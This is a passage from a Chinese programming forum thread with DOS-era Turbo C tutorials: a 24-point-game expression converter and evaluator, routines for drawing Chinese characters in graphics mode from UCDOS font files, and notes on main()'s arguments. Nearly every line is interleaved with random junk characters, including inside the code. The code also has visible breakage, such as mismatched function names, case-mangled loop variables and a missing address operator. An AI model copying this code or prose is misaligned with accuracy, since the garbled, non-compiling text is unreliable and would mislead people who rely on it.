+ H; s% S7 {2 \& K. f: ?! S/ e! a" Kswitch(c)
5 [$ t/ {0 i4 ?4 [# h, ]5 P{ case '*': p=2; break;; U7 R' J( A' f
case '/': p=2; break;
$ @6 W/ Z- W& n" [+ X1 ^' Tcase '+': p=1; break;% D8 n6 S$ n; g2 I* `
case '-': p=1; break;
3 s) S2 N, O) o5 t% `6 Dcase '(': p=0; break;. Z8 `; X( P( X& n& J4 Y. |
case '=': p=-1; break;
6 z" {" R2 |) L% t( O' B}
/ s+ f5 i: K; b' w0 Q2 |return(p);
7 Y2 S) e' L; _+ C* U/ }. _- ^}
; M5 E8 @7 B, P3 J9 p/* 此函数实现中缀到后缀的转换 */
6 {) S8 t+ F( f9 X/* M的值宏定义为20 */" r6 y; h" r! ~6 D  {- j
/* sp[]为表达式数组 */
$ X- O0 x9 h- ?' \) ~int mid_last(), l; ?" o! N0 W, h
{ int i=0,j=0; char c,sm[M];" _- C1 z8 a& f
c=s[0]; sm[0]='='; top=0;7 b2 n1 c. h) \: P1 X
while(c!='\0')
! x% w; g  E( A4 O, l2 r; S5 x% M{ if(islower(c)) sp[j++]=c;5 m% Q5 i: h0 T5 E- A' `
else switch(c)# b) u' G* c0 Z) K
{ case '+':
9 n% e+ y; x% n( {  G  ocase '-':& J0 J  P" s8 D' O! R+ n. k( M8 R
case '*':
& B, ?  I4 }! \) Ocase '/': while(first(c)&lt;=first(sm[top]))7 F/ j# x3 @" D6 j: I
sp[j++]=sm[top--];- i) ]" H$ V3 @* r) j
sm[++top]=c; break;
. \7 M+ X+ ~' J6 C0 ~# d# O7 ccase '(': sm[++top]=c; break;
6 J3 t1 j1 N2 o& C" J9 Ocase ')': while(sm[top]!='(')5 a* R& z6 |7 R% U
sp[j++]=sm[top--];( W/ R  t3 X0 \0 y% Z1 P  N9 Y
top--; break;  X+ N+ w! a% V  C
default :return(1);2 d( \! R, {0 T" A2 w
}6 J9 [0 t- w6 z) \7 J1 x6 n
c=s[++i];/ P- R; U! R, d" i& d
}
, V5 C% p- Z  o9 ^- h) Z- Gwhile(top&gt;0) sp[j++]=sm[top--];
/ p* I/ `! Q1 P& A- T9 csp[j]='\0'; return(0);, r% P7 ^. e- N  ?# C- Y
}
8 c1 I) p) d) I0 M9 ]$ U/* 由后缀表达式来计算表达式的值 */
* g  [: ]+ a3 }8 ~& _int calc(). G" ?" [+ E. a4 h8 b, `% J8 p5 X
{ int i=0,sm[M],tr; char c;
( q8 q5 Q+ s& ?/ W# w# h" ?c=sp[0]; top=-1;. E( z6 e1 B; q7 G1 |/ W
while(c!='\0')  v: P, T5 E: I/ }+ }8 o+ g. V3 o
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
$ Q# \% X& q+ g' [这样才可以更方便的处理非一位数, . C0 p4 e4 h- l
ver数组中存放着这些字母所代替的数*/
- Z* k" j* j$ gelse switch(c)
$ O0 A' ~2 p0 ]3 i{ case '+': tr=sm[top--]; sm[top]+=tr; break;
5 T1 B& ^) g7 ^: E( O9 ]case '-': tr=sm[top--]; sm[top]-=tr; break;
- z3 E7 K% p1 s" w) b& Icase '*': tr=sm[top--]; sm[top]*=tr; break;, R9 s2 M; }  d( F  o8 j
case '/': tr=sm[top--];sm[top]/=tr;break;& I6 z* F; q% K# F& y" {- Q
default : return(1);
0 d" h7 S; K0 t) y  \) |8 ]}
, b- K3 N6 J: i2 c- s- e5 G/ gc=sp[++i];, v* W) G$ w) Y9 m) ?8 X5 z
}8 X5 y8 d8 M. Z! |- U
if(top&gt;0) return(1);" X. {9 I* S: ?$ G2 S
else { result=sm[top]; return(0); }
  T8 L2 L1 A: W9 D% d}
+ g$ [9 D# ~* o  _/ [1 M: p</FONT>- C* p  p, [" h" i2 A. B" {
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。% m: r5 b7 M& u* P5 {8 z8 r

2 O1 ~: p. X) e& B! B  最后我总结了一下这其中容易出错的地方——- g" [' t" i! k; d. V  d0 j
1 a/ p/ q! [, E4 @
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。8 m5 u) r2 M4 f3 e9 C9 Z

% g% n% [/ a, K; A  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
9 m  N$ o, A4 _( C7 q2 F; ~0 m( h' V! S7 Y# |
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 8 J0 r  e! k% x! u0 e

) r2 W- g3 D7 ]0 \  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
3 Z9 i$ L# ]$ U6 n: C. S' M3 |9 I) }2 P: D
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
, [2 M% l+ u) l7 z7 D3 k1 g! ~4 u' {0 b1 [
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。9 V" _) ?: a6 V* \
/ f) S5 H( J! a
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
" b* Y8 j. J. J$ u) q3 @</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>/ W2 L0 w; y4 e' n% Z6 C
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
, o4 V' r8 _0 N2 h1 G" I  L  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。% ?$ G& @  r* t2 l! `
  汉字显示的第一步是打开字库文件。
; C# b* u' W7 y: r  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
7 B' J! N" h% @. \4 J( W3 F3 V  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
8 D4 t1 e2 K/ ~# y. ~) H{) x$ n- O9 ]' C% |
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
/ z' M$ h- K. Vint rec,i1,i2,i3; /*z:space between;*/( L1 Q. l% O& F8 Y) }
long l; /*color:txt color*/# ^$ D! w* w( D' ]
char by[32]; /*p:HZ str*/
- v+ i7 T& ]( `1 p) i/ vif( handle&lt;0 ) return -1; while((i=*p++)!=0){
( N. Z1 y; |5 ?2 q! H* Nif(i&gt;0xa1)' l% p4 v+ G. @, @. t* g6 ~
if(f==0){
. U! C% U" ^7 B: E3 Oc1=(i-0xa1)&amp;0x07f;
7 h. F) t) ^2 x; X9 Gf=1;
5 t) o0 d1 a$ A- e6 D. p/ I1 w}
7 t# g2 V4 h; w2 p+ Belse{
) Z! J* |0 {+ p0 g8 @4 w9 rc2=(i-0xa1)&amp;0x07f;
1 L" w7 O: L+ g: h0 ~f=0;
6 I& X. Y; ?, S* j$ A" L. J$ w0 q# brec=c1*94+c2;
% b) `( }( V7 j1 Kl=rec*32L;
( Q( X: J! ^$ U! g' [/ klseek(handle,l,SEEK_SET);
* Q* q8 K  g( U! {4 w+ K. d  dread(handle,by,32);
/ {  x- o" Z; H1 N( lfor(i1=0;i1&lt;16;i1++)
* n3 a7 J: k" G3 g4 w5 xfor(i2=0;i2&lt;2;i2++)! m* \8 P, p) K/ B# m! a
for(i3=0;i3&lt;8;i3++)9 T4 K& q3 T6 B, V( r
if(GetBit(by[i1*2+i2],7-i3)); U- o; k- o4 X. w- E5 t4 @
putpixel(x+i2*8+i3,y+i1,color);. D& e# ]( S' v8 ]
x=x+z+16;
- m8 G0 a- W  @! u0 G/ o, a& @+ j}
. ]; ^6 v; p6 q, e}
& N' A; t4 y7 c8 ]  mreturn(x);
1 u& {0 ^1 Z6 Q7 L}$ ?8 t, t" I  h6 a) `1 Y
函数GetBit定义如下:
) |* r% l3 q3 g  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
1 i& Z  m& g" u9 q, j1 `int GetBit(unsigned char c,int n)5 b1 j  o  {* K0 y" f9 G
{
9 k1 r, X- F, Y' |7 j. rreturn((c&gt;&gt;n)&amp;1);6 ~2 s$ z' ?$ `6 R
}
6 t5 n& }3 X  ^; k3 l/ s+ c汉字显示结束,应该关闭字库文件。$ Z3 ^- x. {5 O$ W2 }3 H
void CloseHz(void)4 d" s9 f  L* m
{
; J/ `2 _4 t% ~4 n( jclose( handle );7 H) K) @0 w9 K9 O2 n
}- {" k2 U4 `. l1 w! g
#include "\Caic\Include\Hz.h"6 q' G  }2 @/ Y3 U
#include <GRAPHICS.H>
& P3 h; ?  y! X#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
( M- w$ \0 ~' ~' A0 l- mconst char* HzStr = "苦丁香C语言辅助学习软件";
. c: W* T  h! D5 xvoid main(){
$ C; x- @- G' k/ D9 q% }9 Gint gr=DETECT,gm;4 z, M) L4 W' U) ]) {
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
4 P! n$ a% P# ~; o4 c/ K6 XOpenHz( Hz16Path );
9 N) l$ Z- p3 B" K1 tWrt16Hz(20,20,4,RED,HzStr);
* }+ S! K% t. q# d+ n: v: {CloseHz();
, ^5 i) X% a2 O7 |1 [$ dgetch();' x; `& b: O# ^2 R$ n+ w/ q6 U
closegraph();
. M  @+ q5 ^' y& n- J" L( W5 w+ W! {- v  W}显示24点阵及放大汉字# G2 E! Q, @$ r
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
* h: P) C# A! T- {8 R, S5 g' @7 ^( g函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。) W7 R2 y, V3 N0 d) u' b5 }9 i
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)" b4 l$ D5 z5 l' U8 _* r
{
: `6 R0 ^' k) r+ tunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
+ D- l( ^$ T3 G4 i4 t* mint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
# A, B; j& I: `) {' R: B4 plong l; /*color:汉字颜色*/
1 O# P, W- U, M2 q& }- h& Xchar by[72]; /*m: x 方向的放大倍数*/1 {# i  G3 |. D) y: d. D2 N
/*n: y 方向的放大倍数*/
4 {- n8 Z2 }3 }+ M+ Q5 W9 Eif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){* a. k* c! |6 b" k" @& O$ _' Y
if(i&gt;0xa1)
* T) C7 e: A; e& W9 xif(f==0){8 T' q8 A7 O. E& y
c1=(i-0xa1)&amp;0x7f;& |( H. T# y1 d6 Q$ F
f=1;
4 r) E! I7 H5 {( N+ s}. v3 x4 ~( u' L. V" u6 X: u- [2 C
else{0 Y$ z1 ?9 c. O/ G, `$ I
c2=(i-0xa1)&amp;0x7f;
, J% c* d. R& g8 a$ ~3 Y" Uf=0;
  G; a$ m7 _9 U% T% o; P2 srec=(c1-15)*94+c2;
! p+ a3 e* o+ t& [+ o* Vl=rec*72L;
* p# J+ Z7 p7 |( rlseek(handle,l,SEEK_SET);+ ^* l3 _- m, F9 o. |
read(handle,by,72);  Y6 k+ I6 S, H+ d  T4 U9 C
for(i1=0;i1&lt;24*m;i1=i1+m)
7 f. a  y8 j% Ffor(i4=0;i4<M;I4++)
; x# H1 X4 _: K: f for(i2=0;i2&lt;=2;i2++)
7 A. Z$ w. M# A0 `6 vfor(i3=0;i3&lt;8;i3++)
* m2 z- e2 Z, J' j* I. P% yif(GetBit(by[i1/m*3+i2],7-i3))0 D0 L( E4 D1 R1 W4 X- n
for(i5=0;i5<N;I5++)+ H  {& |5 N: N! H
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);9 M8 q* P0 F8 ~2 i6 ^
x=x+24*m+z;
0 `. @& M, R; p7 u0 n" R}# m6 t& {+ n) ^6 \; b/ k  ]
}' l: \8 v- T1 [6 l
return(x);
# U+ x; a: F& H6 K} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
$ ^$ @8 @2 S9 {2 g" ^4 U, d" n" q) b#include <GRAPHICS.H># X. r0 D2 R$ Z: @- L
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s.": x/ e5 ]0 S) K% b0 }2 N3 a; l9 ?
const char* HzStr = "苦丁香C语言辅助学习软件";
* b$ e& ~: I& Vvoid main(){3 E* N6 [- r  d2 S7 y7 s
int gr=DETECT,gm;: V6 W9 t6 V$ b' S+ N
initgraph(&amp;gr,gm,"\\Caic\\Bgi");5 P7 i8 P7 O4 _% J1 i) h* U
OpenHz( Hz24Path );
) g* r+ p4 t) ^. u' eWrt24Hz(20,20, /*先是在(x,y)*/  k6 o) B6 B: F7 \! z& }
4, /*汉字间的空格为4*/
5 G' w8 {6 g7 M9 M7 y. Z! O# TRED, /*用红色显示*/
4 A+ ~" F* j8 @4 I, {9 i0 P. u( [2, /*x 方向放大2倍*/7 a! l. n$ Q8 |- a( ^$ U) _
4, /*y 方向放大4倍*/. c' g3 z& Y% b8 d: K
HzStr); /*显示字符串*/( w- @6 [7 W! K! I9 W7 T  ]
CloseHz();
7 M: u. W5 V6 e( \+ X/ A: ^9 Ngetch();
* b1 ~" D8 w  x2 H6 ~closegraph();  @, ?" J6 x+ Z: f  \" D' J" a
} ( \; I* W* {$ p" Y; @
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数/ F4 U+ x+ v, M7 z8 O
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
% r& V1 Z& i& y0 G! t) z5 q1. main() 参数
: K! u) G/ N8 c4 H  x& \  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
3 y- A1 o' \+ V$ i& D/ D  * argc: 整数,为传给main()的命令行参数个数。
/ U# v7 \: _! w* T7 i# s8 C  * argv: 字符串数组。
& {1 P) W* V. X( g在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
' Y) D" D& Y' ?( `对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;9 ?& ~' @! I- j$ j  p
...7 `6 N' p1 \5 Z
argv[argc]为NULL。  N' d+ g6 x, w% n$ T" j
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
! N, I& k+ M5 ~8 Y0 K! i值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

9#
无效楼层,该帖已经被删除
10#
无效楼层,该帖已经被删除
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-17 07:18 , Processed in 0.497076 second(s), 96 queries .

回顶部